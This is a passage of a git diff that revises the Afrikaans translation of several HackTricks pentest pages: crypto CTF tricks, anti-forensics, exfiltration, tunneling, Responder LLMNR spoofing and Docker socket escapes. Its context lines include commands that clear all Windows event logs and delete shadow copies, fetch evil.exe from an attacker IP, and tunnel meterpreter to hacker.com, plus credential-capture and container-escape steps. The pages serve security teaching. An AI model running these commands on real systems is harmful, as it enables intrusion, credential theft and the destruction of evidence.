b/src/cryptography/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Meeste van die geĂ«nkodeerde data kan met hierdie 2 hulpbronne gedekodeer word: +Meeste van die geĂ«nkodeerde data kan met hierdie 2 hulpbronne gedecodeer word: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -192,9 +192,9 @@ krodfdudfrod **Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\ Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\ -Jy kan hierdie kode identifiseer omdat jy\*\* verskeie syfers herhaal\*\* sal sien. +Jy kan hierdie kode identifiseer omdat jy **verskeie getalle herhaal** sal sien. -Jy kan hierdie kode dekodeer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Jy kan hierdie kode ontcijfer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Kode @@ -213,7 +213,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ## Maklike Crypto -### XOR - Autosolver +### XOR - Outomatiese Oplosser - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) @@ -249,7 +249,7 @@ Key: ### Samir Geheime Deel -'n Geheim word in X dele gesplit en om dit te herstel, het jy Y dele nodig (_Y <=X_). +'n Geheim word in X dele gesplit en om dit te herstel het jy Y dele nodig (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 @@ -262,7 +262,7 @@ Key: - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Gereedskap +## Tools - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index af78c9861..f7e707757 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,7 +3,7 @@ # Tydstempels 'n Aanvaller mag belangstel in **die verandering van die tydstempels van lĂȘers** om nie opgespoor te word nie.\ -Dit is moontlik om die tydstempels binne die MFT in die eienskappe `$STANDARD_INFORMATION` ** en ** `$FILE_NAME` te vind. +Dit is moontlik om die tydstempels binne die MFT in die eienskappe `$STANDARD_INFORMATION`**en**`$FILE_NAME` te vind. Albei eienskappe het 4 tydstempels: **Wysiging**, **toegang**, **skepping**, en **MFT registrasie wysiging** (MACE of MACB). @@ -23,7 +23,7 @@ Die vorige beeld is die **uitset** wat deur die **gereedskap** gewys word waar d ## $LogFile -**Alle metadata veranderinge aan 'n lĂȘerstelsel word gelog** in 'n proses bekend as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lĂȘer genaamd `**$LogFile**` gehou, geleĂ« in die wortelgids van 'n NTFS lĂȘerstelsel. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lĂȘer te ontleed en veranderinge te identifiseer. +**Alle metadata veranderinge aan 'n lĂȘerstelsel word gelog** in 'n proses bekend as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lĂȘer genaamd `**$LogFile**`, geleĂ« in die wortelgids van 'n NTFS lĂȘerstelsel, gehou. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lĂȘer te ontleed en veranderinge te identifiseer. ![](<../../images/image (450).png>) @@ -40,7 +40,7 @@ Met dieselfde gereedskap is dit moontlik om te identifiseer **tot watter tyd die ## `$STANDARD_INFORMATION` en `$FILE_NAME` vergelyking -'n Ander manier om verdagte gewysigde lĂȘers te identifiseer, sou wees om die tyd op albei eienskappe te vergelyk en te soek na **ongelykhede**. +'n Ander manier om verdagte gewysigde lĂȘers te identifiseer, sou wees om die tyd op albei eienskappe te vergelyk op soek na **verskille**. ## Nanosekondes @@ -67,7 +67,7 @@ Dit is 'n gereedskap wat die **rekenaar sal afskakel as enige verandering in die # Lewende Linux Verspreidings -Hierdie distros word **binne die RAM** geheue uitgevoer. Die enigste manier om hulle te ontdek is **in die geval dat die NTFS lĂȘerstelsel met skryf toestemmings gemonteer is**. As dit net met lees toestemmings gemonteer is, sal dit nie moontlik wees om die indringing te ontdek nie. +Hierdie distros word **binne die RAM** geheue uitgevoer. Die enigste manier om hulle te ontdek is **as die NTFS lĂȘerstelsel met skryf regte gemonteer is**. As dit net met lees regte gemonteer is, sal dit nie moontlik wees om die indringing te ontdek nie. # Veilige Verwydering @@ -79,7 +79,7 @@ Dit is moontlik om verskeie Windows logging metodes te deaktiveer om die forensi ## Deaktiveer Tydstempels - UserAssist -Dit is 'n registriesleutel wat datums en ure behou wanneer elke uitvoerbare lĂȘer deur die gebruiker uitgevoer is. +Dit is 'n registriesleutel wat datums en ure behou wanneer elke eksekutabele deur die gebruiker uitgevoer is. Deaktivering van UserAssist vereis twee stappe: @@ -93,12 +93,12 @@ Dit sal inligting oor die toepassings wat uitgevoer is, stoor met die doel om di - Voer `regedit` uit - Kies die lĂȘer pad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` - Regsklik op beide `EnablePrefetcher` en `EnableSuperfetch` -- Kies Wysig op elk van hierdie om die waarde van 1 (of 3) na 0 te verander +- Kies Wysig op elkeen van hierdie om die waarde van 1 (of 3) na 0 te verander - Herbegin ## Deaktiveer Tydstempels - Laaste Toegangstyd -Wanneer 'n gids vanaf 'n NTFS volume op 'n Windows NT bediener geopen word, neem die stelsel die tyd om **'n tydstempelveld op elke gelysde gids op te dateer**, genaamd die laaste toegangstyd. Op 'n intensief gebruikte NTFS volume kan dit die prestasie beĂŻnvloed. +Wanneer 'n gids vanaf 'n NTFS volume op 'n Windows NT bediener geopen word, neem die stelsel die tyd om **'n tydstempelveld op elke gelysde gids op te dateer**, genaamd die laaste toegangstyd. Op 'n intensief gebruikte NTFS volume kan dit prestasie beĂŻnvloed. 1. Maak die Registrie Redigeerder (Regedit.exe) oop. 2. Blaai na `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. @@ -115,7 +115,7 @@ Jy kan ook die gereedskap [**USBDeview**](https://www.nirsoft.net/utils/usb_devi ## Deaktiveer Skadu KopieĂ« **Lys** skadu kopieĂ« met `vssadmin list shadowstorage`\ -**Verwyder** hulle deur `vssadmin delete shadow` uit te voer +**Verwyder** hulle deur `vssadmin delete shadow` Jy kan hulle ook via GUI verwyder deur die stappe voor te stel in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) @@ -123,9 +123,9 @@ Om skadu kopieĂ« te deaktiveer [stappe van hier](https://support.waters.com/KB_I 1. Maak die Dienste program oop deur "dienste" in die teks soekboks te tik nadat jy op die Windows startknoppie geklik het. 2. Vind "Volume Shadow Copy" in die lys, kies dit, en toegang eienskappe deur regsklik. -3. Kies Gedeaktiveer uit die "Opstart tipe" keuselys, en bevestig die verandering deur Toepas en OK te klik. +3. Kies Gedeaktiveer van die "Opstart tipe" keuselys, en bevestig die verandering deur Toepas en OK te klik. -Dit is ook moontlik om die konfigurasie van watter lĂȘers in die skadu kopie gekopieer gaan word in die registrie `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` te wysig. +Dit is ook moontlik om die konfigurasie van watter lĂȘers in die skadu kopie gaan wees, in die registrasie `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` te wysig. ## Oorskryf verwyderde lĂȘers @@ -134,7 +134,7 @@ Dit is ook moontlik om die konfigurasie van watter lĂȘers in die skadu kopie gek ## Verwyder Windows gebeurtenis logs -- Windows + R --> eventvwr.msc --> Brei "Windows Logs" uit --> Regsklik op elke kategorie en kies "Clear Log" +- Windows + R --> eventvwr.msc --> Brei "Windows Logs" uit --> Regsklik op elke kategorie en kies "Log Maak Skoon" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 55a1eb03b..5f7d6ed57 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Gewoonlik goedgekeurde domeine om inligting te eksfiltreer +## Gewoonlik goedgekeurde domeine om inligting te onttrek Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik goedgekeurde domeine te vind wat misbruik kan word @@ -107,12 +107,12 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` -### FTP bediener (NodeJS) +### FTP-bediener (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTP-bediener (pure-ftp) +### FTP bediener (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Of skep 'n smb deel **met samba**: +Of skep 'n smb deel **met behulp van samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Die `debug.exe` program stel nie net in staat om binĂȘre te inspekteer nie, maar het ook die **vermoĂ« om dit uit hex te herbou**. Dit beteken dat deur 'n hex van 'n binĂȘre te verskaf, kan `debug.exe` die binĂȘre lĂȘer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lĂȘers tot 64 kb in grootte te monteer**. +Die `debug.exe` program laat nie net inspeksie van binĂȘre toe nie, maar het ook die **vermoĂ« om hulle uit hex te herbou**. Dit beteken dat deur 'n hex van 'n binĂȘre te verskaf, kan `debug.exe` die binĂȘre lĂȘer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lĂȘers tot 64 kb in grootte te monteer**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -Dan kopieer-en-plak die teks in die windows-shell en 'n lĂȘer genaamd nc.exe sal geskep word. +Dan kopieer-plak die teks in die windows-shell en 'n lĂȘer genaamd nc.exe sal geskep word. + +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index b87cee6b7..a7508ed62 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -51,13 +51,13 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enigiemand +Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` -### Reverse Port Forwarding +### Omgekeerde Poort Voorwaartse -Dit is nuttig om omgekeerde shells van interne gasheer deur 'n DMZ na jou gasheer te kry: +Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> In hierdie geval is die **poort geopen in die beacon-gasheer**, nie in die Team Server nie, en die verkeer word na die Team Server gestuur en van daar na die aangeduide gasheer:poort +> In hierdie geval is die **poort geopen in die beacon gasheer**, nie in die Team Server nie, en die verkeer word na die Team Server gestuur en van daar na die aangeduide gasheer:poort ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] @@ -153,14 +153,14 @@ rportfwd stop [bind port] Om op te let: - Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om tussen individuele masjiene te relay nie**. -- Verkeer word **binne Beacon se C2-verkeer getonneld**, insluitend P2P skakels. -- **Admin regte is nie nodig nie** om omgekeerde poort forwards op hoĂ« poorte te skep. +- Verkeer word **getonnel binne Beacon se C2 verkeer**, insluitend P2P skakels. +- **Admin regte is nie nodig** om omgekeerde poort forwards op hoĂ« poorte te skep nie. ### rPort2Port plaaslik > [!WARNING] -> In hierdie geval, die **poort word in die beacon-gasheer geopen**, nie in die Spanbediener nie en die **verkeer word na die Cobalt Strike-kliĂ«nt gestuur** (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort -``` +> In hierdie geval, die **poort word in die beacon gasheer geopen**, nie in die Spanbediener nie en die **verkeer word na die Cobalt Strike kliĂ«nt gestuur** (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -U kan 'n **nie-geoutentiseerde proxy** omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer: +Jy kan 'n **nie-geoutentiseerde proxy** omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -356,7 +356,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` Nou kan ons **verbinde** met die **slagoffer** oor **RDP** met **`mstsc.exe`**, en ons behoort 'n **prompt** te ontvang wat sĂȘ dat die **SocksOverRDP plugin geaktiveer is**, en dit sal **luister** op **127.0.0.1:1080**. -**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binĂȘre uit op die slagoffer masjien: +**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binĂȘre in die slagoffer masjien uit: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -411,7 +411,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik: +Die tonnel sal baie stadig wees. U kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -435,14 +435,14 @@ Jy kan [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershel Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` -#### **Port forwarding met dnscat** +#### **Havenportering met dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Verander proxychains DNS -Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur die socks proxy. Deur **default** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lĂȘer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel. +Proxychains onderskep `gethostbyname` libc oproep en tonnels tcp DNS versoek deur die socks proxy. Deur **verstek** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lĂȘer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows-omgewing** is, kan jy die IP van die **domeinbeheerder** stel. ## Tonnels in Go @@ -455,7 +455,7 @@ Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is nodig in beide stelsels om tun adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke. +Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -479,7 +479,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok -[**ngrok**](https://ngrok.com/) **is 'n hulpmiddel om oplossings in een opdraglyn aan die internet bloot te stel.**\ +[**ngrok**](https://ngrok.com/) **is 'n hulpmiddel om oplossings in een opdraglyn aan die Internet bloot te stel.**\ _Expositie URI is soos:_ **UID.ngrok.io** ### Installasie diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index cea919a6e..be390c142 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -8,9 +8,9 @@ - **LLMNR, NBT-NS, en mDNS**: - Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS. -- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul nie-geverifieerde, uitsendingsnatuur oor UDP. +- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul ongeverifieerde, uitsendingsnatuur oor UDP. - [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur. -- Verdere inligting oor diensnaamsimulasie met behulp van Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word. +- Verdere inligting oor diensna-booting met Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word. ### Web Proxy Auto-Discovery Protokol (WPAD) @@ -20,7 +20,7 @@ ### Responder vir Protokol Vergiftiging -- **Responder** is 'n hulpmiddel wat gebruik word om LLMNR, NBT-NS, en mDNS vrae te vergiftig, selektief te antwoord op grond van vraetipes, met die primĂȘre fokus op SMB-dienste. +- **Responder** is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste. - Dit kom vooraf geĂŻnstalleer in Kali Linux, konfigureerbaar by `/etc/responder/Responder.conf`. - Responder vertoon gevangen hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids. - Dit ondersteun beide IPv4 en IPv6. @@ -29,9 +29,9 @@ #### Responder Uitvoer - Om Responder met standaardinstellings te laat loop: `responder -I ` -- Vir meer aggressiewe ondersoek (met moontlike newe-effekte): `responder -I -P -r -v` +- Vir meer aggressiewe ondersoek (met potensiĂ«le newe-effekte): `responder -I -P -r -v` - Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak: `responder -I --lm --disable-ess` -- WPAD-naamsimulasie kan geaktiveer word met: `responder -I --wpad` +- WPAD-na-booting kan geaktiveer word met: `responder -I --wpad` - NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word: `responder.py -I -Pv` ### DHCP Vergiftiging met Responder @@ -41,19 +41,19 @@ - Om die aanval te laat loop: `./Responder.py -I eth0 -Pdv` - Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy. -### Capturing Kredensiale met Responder +### Capturing Credentials with Responder -- Responder sal dienste na boots met behulp van die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om teen die gespoofde dienste te verifieer. +- Responder sal dienste na boots met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Challenge/Response) vang wanneer 'n gebruiker probeer om teen die gespoofde dienste te verifieer. - Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak. -Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties gedoen moet word, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy. +Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy. ## Inveigh Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle-aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) gevind word. Inveigh kan deur PowerShell bedryf word: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` Of uitgevoer as 'n C# binĂȘre: @@ -69,7 +69,7 @@ Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te #### 445 Poort Voorwaartse en Tunneling -In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 vorentoe gestuur en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir bestuurderlaai. +In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 voorwaarts en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir stuurprogramlaai. PortBender opstelling en werking in Cobalt Strike: ```bash @@ -115,7 +115,7 @@ In Windows **kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer o ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} -## Verwysings +## References - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 7c05d8fc8..c4e416870 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -7,7 +7,7 @@ Daar is 'n paar geleenthede waar jy net **toegang tot die docker socket** het en ### Via mount Jy kan **mount** verskillende dele van die **filesystem** in 'n container wat as root loop en dit **toegang** gee.\ -Jy kan ook 'n **mount misbruik om privileges** binne die container te eskaleer. +Jy kan ook 'n **mount misbruik om privileges te eskaleer** binne die container. - **`-v /:/host`** -> Mount die host filesystem in die container sodat jy die **host filesystem kan lees.** - As jy wil **voel soos jy in die host is** maar in die container is, kan jy ander verdedigingsmeganismes deaktiveer met vlae soos: @@ -20,21 +20,21 @@ Jy kan ook 'n **mount misbruik om privileges** binne die container te eskaleer. - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Dit is soortgelyk aan die vorige metode, maar hier **mount ons die toestel skyf**. Dan, binne die container, hardloop `mount /dev/sda1 /mnt` en jy kan die **host filesystem** in `/mnt` **toegang**. +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Dit is soortgelyk aan die vorige metode, maar hier **mount ons die toestel skyf**. Dan, binne die container, hardloop `mount /dev/sda1 /mnt` en jy kan die **host filesystem** in `/mnt` **toegang**. - Hardloop `fdisk -l` in die host om die `` toestel te vind om te mount. -- **`-v /tmp:/host`** -> As jy om een of ander rede **net 'n gids** van die host kan **mount** en jy het toegang binne die host. Mount dit en skep 'n **`/bin/bash`** met **suid** in die gemounte gids sodat jy dit kan **uitvoer vanaf die host en na root eskaleer**. +- **`-v /tmp:/host`** -> As jy om een of ander rede net **'n gids kan mount** van die host en jy het toegang binne die host. Mount dit en skep 'n **`/bin/bash`** met **suid** in die gemounte gids sodat jy dit kan **uitvoer van die host en na root eskaleer**. > [!NOTE] > Let daarop dat jy dalk nie die gids `/tmp` kan mount nie, maar jy kan 'n **ander skryfbare gids** mount. Jy kan skryfbare gidse vind met: `find / -writable -type d 2>/dev/null` > > **Let daarop dat nie al die gidse in 'n linux masjien die suid bit sal ondersteun nie!** Om te kyk watter gidse die suid bit ondersteun, hardloop `mount | grep -v "nosuid"` Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid bit nie. > -> Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lĂȘers bevat**, kan mount, jy dit mag verander vanaf die docker container as root om dit te **misbruik in die host** en privileges te eskaleer (miskien deur `/etc/shadow` te verander). +> Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lĂȘers bevat**, kan mount, jy dit mag verander vanuit die docker container as root om dit te **misbruik in die host** en privileges te eskaleer (miskien deur `/etc/shadow` te wysig). ### Ontsnapping uit die container - **`--privileged`** -> Met hierdie vlag [verwyder jy al die isolasie van die container](docker-privileged.md#what-affects). Kyk tegnieke om [uit priviligeerde containers as root te ontsnap](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [te eskaleer deur capabilities te misbruik](../linux-capabilities.md), **gee daardie vermoĂ« aan die container** en deaktiveer ander beskermingsmetodes wat die ontploffing mag verhinder om te werk. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [te eskaleer deur capabilities te misbruik](../linux-capabilities.md), **gee daardie vermoĂ« aan die container** en deaktiveer ander beskermingsmetodes wat die eksploit kan verhinder om te werk. ### Curl diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 787036910..a47adc9d6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -6,7 +6,7 @@ 'n Distroless-container is 'n tipe container wat **slegs die nodige afhanklikhede bevat om 'n spesifieke toepassing te laat loop**, sonder enige addisionele sagteware of gereedskap wat nie benodig word nie. Hierdie containers is ontwerp om so **liggewig** en **veilig** as moontlik te wees, en hulle poog om die **aanvaloppervlak te minimaliseer** deur enige onnodige komponente te verwyder. -Distroless-containers word dikwels in **produksie-omgewings waar sekuriteit en betroubaarheid van kardinale belang is** gebruik. +Distroless-containers word dikwels in **produksie-omgewings waar veiligheid en betroubaarheid van die grootste belang is** gebruik. Sommige **voorbeelde** van **distroless-containers** is: @@ -25,6 +25,6 @@ Kom op 'n sekere punt in 2023... #### openssl -\***\*[**In hierdie pos,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) word verduidelik dat die binaire **`openssl`** gereeld in hierdie containers gevind word, moontlik omdat dit **benodig\*\* word deur die sagteware wat binne die container gaan loop. +\***\*[**In hierdie pos,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) word verduidelik dat die binaire **`openssl`** gereeld in hierdie containers voorkom, moontlik omdat dit **benodig** word deur die sagteware wat binne die container gaan loop. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index a377d4faa..2a9e6ec58 100644 --- 